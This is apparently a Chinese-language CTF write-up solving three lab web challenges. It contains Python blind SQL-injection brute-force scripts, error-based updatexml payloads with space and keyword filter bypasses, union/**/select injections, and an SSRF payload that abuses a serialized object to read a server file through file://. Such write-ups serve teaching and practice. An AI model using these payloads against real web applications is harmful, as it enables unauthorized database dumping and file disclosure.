Contents
  1. 1. [CISCN2019 华北赛区 Day2 Web1]Hack World1
  2. 2. [极客大挑战 2019]HardSQL1
  3. 3. [网鼎杯 2018]Fakebook1

[CISCN2019 华北赛区 Day2 Web1]Hack World1

[极客大挑战 2019]HardSQL1

[网鼎杯 2018]Fakebook1–SSRF

[CISCN2019 华北赛区 Day2 Web1]Hack World1

测试输入,id=1,返回Hello, glzjin wants a girlfriend.,id=2时,回显Do you want to be my girlfriend?,>=3的时候是Error Occured When Fetch Result.,尝试单引号,报bool(false),双引号SQL Injection Checked,被过滤了,包括空格、or、union等都被过滤。

但是在输入id=3/3时,返回Hello, glzjin wants a girlfriend,说明是数字型的sql注入。

id=1/(1),也可以正常返回,说明括号没有过滤,这样的话很多函数就可以使用,

测试length

可以看到length()是可以正常使用的,测试出的数据库长度为11

接下来,测试数据库名字id=(ascii(substr(database(),1,1))>32)

写一个脚本进行爆库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import time
url='http://2bb3c1a2-93b6-41de-8204-87b500dce5fd.node3.buuoj.cn/'
db_name=''
for i in range(1,12,1):
for j in range(97,123,1):
​ data={"id":"(ascii(substr(database(),{},1))={})".format(i,j)}
​ res=requests.post(url,data=data).text
​ time.sleep(1)
#print(j)
if 'Hello, glzjin wants a girlfriend' in res:
​ db_name=db_name+chr(j)
print(db_name)
​ time.sleep(1)
break

由于题目直接说了flag在flag中

所以可以直接尝试爆出flag,先进行测试,由于不能用空格,用括号括起来

id=(ascii(substr((select(flag)from(flag)),1,1))>32)

id=(ascii(substr((select(flag)from(flag)),1,1))>111)

写脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
def flag():
f=""
for i in range(1,50,1):
for j in range(44,126,1):
data={"id":"(ascii(substr((select(flag)from(flag)),{},1))={})".format(i,j)}
res=requests.post(url,data=data).text
time.sleep(1)
if 'Hello, glzjin wants a girlfriend' in res:
f=f+chr(j)
#print(i)
print(f)
time.sleep(1)
Break

[极客大挑战 2019]HardSQL1

Sql注入,先试试’和”

发现单引号有报错,双引号没有,没提示有括号,所以应该是普通单引号闭合的字符型注入。

发现如and/空格/union/select/=//**/等都被过滤了

我们试试报错注入

爆库

?username=1&password=1’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

爆表

?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)in(database()))),0x7e),1))%23

等于号不能用,可以使用in或者like

爆列

?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)in(‘H4rDsq1’))),0x7e),1))%23

查数据

?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(username,’-‘,password))from(H4rDsq1)),0x7e),1))%23

。。。。。。。只显示了一半,不显示username试试

还是不行。。。。。。

看wp说用right()语句在查询后面部分 这样就可以了 又get到了新技能。。。。

只查到了一半再用left()right()语句查询拼接

?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23

拼接

flag{ad86fce3-d802-4f16-b167-6f587c6298de}

[网鼎杯 2018]Fakebook1

查看源码,可以看到有base64的信息

新建了个用户进行简单的测试,可以看到百度的网址是被解析了的,而且在get参数那里可能存在SQL注入,可以试试

单引号

双引号

应该是布尔型

?no=1 and 1=1

?no=1 and 1=2

?no=1 order by 5

经测试一共四列

但是发现union select做了过滤,可以使用union/**/select绕过

可以看到2处会回显

查看数据库?no=-1 union/**/select 1,database(),3,4#

爆表

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

img

爆列

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=’users’#

查数据

?no=-1 union/**/select%201,group_concat(no,’-‘,username,’-‘,passwd,’-‘,data),3,4 from fakebook.users#

额、、、、、、没有想象中flag,但是这是我们之前注册时提交的数据经过序列化之后的数据。

看来还是需要其他办法的,

看了网上的wp,扫描一下网站

在robots.txt中可以看到

访问试试,下载得到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
function get($url)
{
$ch = curl_init(); //初始化一个curl会话
​ curl_setopt($ch, CURLOPT_URL, $url); //设置需要抓取的URL
​ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上
$output = curl_exec($ch); //运行cURL,请求网页
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
​ }
curl_close($ch); //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄
return $output;
}

阅读源码可以看到

输入的blog经过了isValidBlog()函数的过滤

get()函数存在ssrf漏洞

当调用get方法时会访问某个url得到信息,如果该url被恶意利用,比如利用file协议,就可以读取任意文件。

而在刚刚上面的注出的数据,可以发现得到的数据是进过序列化之后的数据,所以然后尝试利用ssrf漏洞读取flag.php。

构造payload为:

/view.php?no=0 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:19;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’

查看源码,base64解码即可得到flag

Contents
  1. 1. [CISCN2019 华北赛区 Day2 Web1]Hack World1
  2. 2. [极客大挑战 2019]HardSQL1
  3. 3. [网鼎杯 2018]Fakebook1